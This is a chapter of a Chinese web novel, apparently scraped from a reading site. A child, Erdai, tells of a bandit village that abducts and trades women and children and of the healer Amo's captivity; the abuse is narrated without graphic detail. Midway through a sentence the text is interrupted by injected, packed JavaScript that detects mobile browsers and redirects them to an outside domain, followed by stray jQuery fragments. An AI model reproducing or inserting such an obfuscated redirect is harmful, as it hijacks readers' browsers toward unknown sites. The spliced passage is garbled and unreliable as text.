27. 第 27 章

作品:《废柴咸鱼躺不平

    清溪在小院各个房间晃了一圈,终于在小院后面的菜地了看到躲在田埂处的二丫。


    远远就看见一身粗布麻衣的瘦小姑娘蹲在地上戳蚂蚁,清溪蹬着小短腿快步跑到二丫身边蹲下。


    “二丫姐姐,你在干什么?”


    二丫气呼呼地瞪了清溪一眼,往旁边挪了挪,拉开与清溪的距离,红着眼睛一言不发。


    清溪干脆不靠近二丫,在田埂上扒拉个位置做了下来。


    二丫见她过来不安慰自己,反而毫不客气地坐下来,顿时气得瞪圆了眼睛,“你起来,这是我和阿嬷种的菜,你坐坏了怎么办?”


    清溪低头看看离自己有相当一段距离的菜苗苗,歪着脑袋道:“我没有坐坏菜苗,二丫姐姐你不能欺负我年龄小不懂这些,我可是亲手种过地的。”


    清溪的本意是把二丫的注意力移开,但话说到最后就压不住心底的小得意,不禁挺起小胸脯。


    二丫上下扫视她,不相信的情绪溢于言表,“我才不信,你一看就是富贵人家的孩子,怎么可能会种地这种粗活。”


    “二丫姐姐,你这是偏见,不信你跟我离开杏花村去看看,绝对让你大吃一惊。”


    小姑娘圆滚滚的眼睛闪闪发光,看得二丫心头微滞,撇撇嘴不满地瞪视清溪,“就知道你是帮阿嬷劝我的,走走走,我不要理你。”


    “不要不要,二丫姐姐,我在这里人生地不熟,如果乱跑扔到坏人怎么办,你都说了不能让村长看见我。”


    插科打诨,跟小哥学的。


    想到下落不明的殷清淮,清溪心口闷闷的说不出话,一旁的二丫并不知道这些事,听到清溪提起村长,脸上的表情有厌恶,有畏惧,总之非常复杂。


    “没错,你哥哥的腿没好,根本没办法逃离这里,这段时间你们肯定是要住在这里的,如果不想死,这句话一定要牢牢记住。”


    顿了顿,二丫的表情严肃而郑重,“…包括村子里的人,他们过来求诊的时候,你们一定要躲起来,千万不要让任何人看到你们知道吗?”


    清溪不咸不淡的“哦”了一声,看上去根本没将这句叮嘱放在心上,二丫觉得头大,顾不得伤怀,伸手戳戳清溪的脑袋。


    “不要不当回事,我很认真的。”犹豫良久,二丫才指着院子说道:“这里背靠大山,离杏花村有六七里路,走路过去最快也需要半个时辰,你知道村里的妇女和孩子为何要跑这么远来阿嬷这里看诊?”


    清溪也觉得古怪,从二丫带着村长村民离开后,她和谢听澜就在附近转了一圈,发现这里四面环山,人烟稀少,路也极其难走,稍有不慎很容易迷失在层层叠叠的山峦之中。


    离开这里唯一的出口大约就是那个离小院很远的杏花村。


    据说,阿嬷还是村里唯一的医者,她住在离村子这么远的地方,根本不方便村里人看病,住在这里实在说不通。


    谢听澜说过,阿嬷对每个病人都尽心尽力,尤其是年幼的孩子,根本不像那种毫无医德之人。


    这样的人,怎么会任由病人奔波半个时辰,跑这么远看病?


    清溪想不通,只觉得这里处处透着说不清道不明的古怪。


    二丫脸上满是化不开的讥讽和厌恶,“因为他们别无选择,到阿嬷这里看病的都是妇人和孩子,村里那些人根本不会在意他们走多远的路。”


    清溪尽管心中有所猜测,听到这句话的时候还是觉得一头雾水,蜷腿抱膝将小脑袋放在膝盖上,安静等待二丫的下文。


    “妇人和孩子在他们眼里都是物品。”


    二丫愤恨地说完这句话后便不再多言,呆呆地望着天空不知在思考什么。


    不知过了多久,清溪觉得二丫不会继续往下说的时候,耳畔又传来二丫的声音。


    “阿嬷是个好人,她不该跟这里的人一起烂在这里,她本该悬壶济世,走遍名山大川。”


    清溪一直觉得二丫身上有股奇异的违和感,有时候像个一无所知的村中小童,有时又像精明市侩人家养出来的孩子,现在有空像是个能识文断字的小姑娘。


    她还没有想明白这个问题,二丫已经自顾自地讲述起她自己的故事,一个耸人听闻的故事。


    杏花村,充满诗意的名字下是遮掩不住的血腥气。


    村民们仗着地势险峻,人迹罕至,不易被人察觉,自发组成山寨,靠打家劫舍为生。


    他们将从外面抢来的女子关在家中,强迫她们生下孩子,再将孩子养大。


    男孩儿培养成下一代山匪,女孩儿模样漂亮的精心培养,送给贵人谋求财帛;模样一般的随便配给村里村中人,锁在村子照顾家中老小,待生下孩子后进行下一轮剥削。


    大抵是亏心事做得多,报应临头,杏花村从十几年前起,村中新生儿数量骤减,即便生出来,男孩儿也多体弱多病,女孩儿甚至根本养不活。


    村里人仗着贵人庇佑,开始肆无忌惮买卖良家女子,他们看上的留在村里给村民当婆娘,看不上地随意打发给人牙子,被当成奴隶随意买卖。


    二丫便是出生在这样的环境下,她的母亲也是被村人从外面抢来的女子,似乎还是个抱读诗书的官家小姐。


    这样的女子在杏花村犹如蝼蚁,她们像牲畜一样被村民随意践踏磋磨,生下的孩子都不知道父亲究竟是谁。


    二丫的母亲在她刚出生的时候神志尚且清楚,时常抱着二丫教她念书识字,二丫也曾有过短暂的幸福时光。


    后来,二丫的母亲在村民肆无忌惮地折辱之下神志崩溃变得疯疯癫癫,便由村长做主将她村里其他疯了的女子关在一起,像牲口一般成为村中男人发泄的工具。


    大抵是照顾清溪年纪小,二丫对某些事情的描述语焉不详,清溪依旧气红了一张小脸,义愤填膺,“这群人如此嚣张,大雍朝堂不管吗?”


    “管?”


    二丫黑瘦的脸上泛起讥讽,“他们背后的靠山就是大雍朝廷,不然你以为京城贵人是怎么找到这种鸟不拉屎的地方的?阿嬷的亲生孩子又是怎么死的?”


    “什,什么意思?”


    清溪恍恍惚惚想起来,阿嬷大概率并非村中人,也是被人强掳过来的女子之一,她甚至有一个早逝的儿子。


    二丫恶狠狠地磨牙,眼底是消不去的恨意。


    “阿嬷的孩子与其他人不同,从小养在阿嬷身边,被教养的懂事知理,认为村中人所行之事丧心病狂,趁着村人教他与其他男孩儿烧杀抢掠之时,摸清离村道路,待年岁稍长些,趁机溜出去到京城报官…”


    清溪想起谢听澜身上有些年头的粗布麻衣,糟糕的预感自心头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651455|172204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蔓延,她大概猜到这个孩子最终的结局了。


    二丫眼睛红得仿佛能滴出血来,说出的话每个字都仿佛在唇齿间辗转,字字句句满含血泪。


    “…那时我尚在襁褓,听村里人说,他死无全尸,最后只剩下一颗头颅被‘贵人’送回。”


    “你猜,村里人为什么不杀阿嬷,阿嬷又为什么能将孩子养在身边?”


    清溪摇头。


    二丫冷笑,“阿嬷出身前朝医药世家段氏一脉,段家于前朝为人迫害,主家死伤殆尽,只剩廖廖几人仓皇出逃,到大雍京城寻求生路,临近京城之时被杏花村劫去,段氏所有人成为杏花村砧板鱼肉。”


    “段家男子全部被杀,女子沦为杏花村阶下囚,阿嬷为了保护族人,亲手用簪子毁了一张脸,提出为村里人看诊治病,可即使如此,她还是被人强迫生下了那个孩子。”


    清溪嘴唇微张,已经不忍心追问下去,另一边的二丫声音已经开始哽咽。


    “生下那个孩子后,阿嬷饮下绝子药,下毒逼迫村人让她亲自抚养孩子,村长妥协,之后几年,段家剩余的姑娘们已经迫害殆尽,村人又用孩子胁迫阿嬷为村人看诊。”


    “为防止阿嬷再次下毒,他们将阿嬷赶到这鸟不拉屎的地方,直到那孩子去世,我又成了村人胁迫阿嬷的另一个工具。”


    二丫的母亲在看诊时与阿嬷成为忘年交,即使偶尔意识不清醒,也时常以看病的名义看望阿嬷。


    直到村长想将年幼的二丫送给喜好特殊的贵人,二丫母亲拼死抵抗也无济于事,还是阿嬷提出要培养二丫接班。


    村长为了能继续胁迫阿嬷,也为了方便村人,想都没想欣然同意。


    二丫避免了被发卖的命运,却永远失去母亲,与阿嬷相依为命守在这魔窟中的唯一一片净土。


    另一边,阿嬷将她前半生叙述完毕,语气平静地像在说别人的故事。


    谢听澜垂眸轻轻敲击桌面,面容沉静不知在想什么。


    阿嬷并不打扰,语气平淡而温和,“只要你带二丫离开这个魔窟,段氏所藏医药典籍和珍稀药物悉数奉上。”


    谢听澜:“你也说了,这里只能进不能出,唯一的出口必然经过杏花村,我们有缘如何离开?”


    “我会安排好一切,你只需要安心养伤,时候到了,我自然会送你们离开。”


    谢听澜敏锐地听出一丝决绝,眼睛微眯,语气漫不经心地陈述,“你想跟他们同归于尽。”


    阿嬷并未回答,只笑着望向二丫离开的方向,“你只管带二丫和小姑娘离开便是,其他的事情不用担心,你离开之时我会把段氏典籍藏匿地点告诉你。”


    语毕,室内陷入寂静,不知过了多久,谢听澜的疑问打破沉静的氛围,


    “为什么?那黑丫头跟你没有任何关系,她甚至是你仇人生下的血脉,你为何愿用所有救她?”


    他脸上再无之前的轻慢与阴鸷,淡淡地望向阿嬷,眼底翻涌着奇异的亮光,像是求知若渴的学子。


    他的提问让阿嬷感到意外,定定看了他一会儿,含笑回答,“这世间一切并非全靠血缘维系,情感的链接比血脉更加珍贵,你对那个小姑娘不也如此?”


    谢听澜微愣,敲击桌面的手指不知道什么时候停滞,只听见耳畔传来自己清晰的心跳。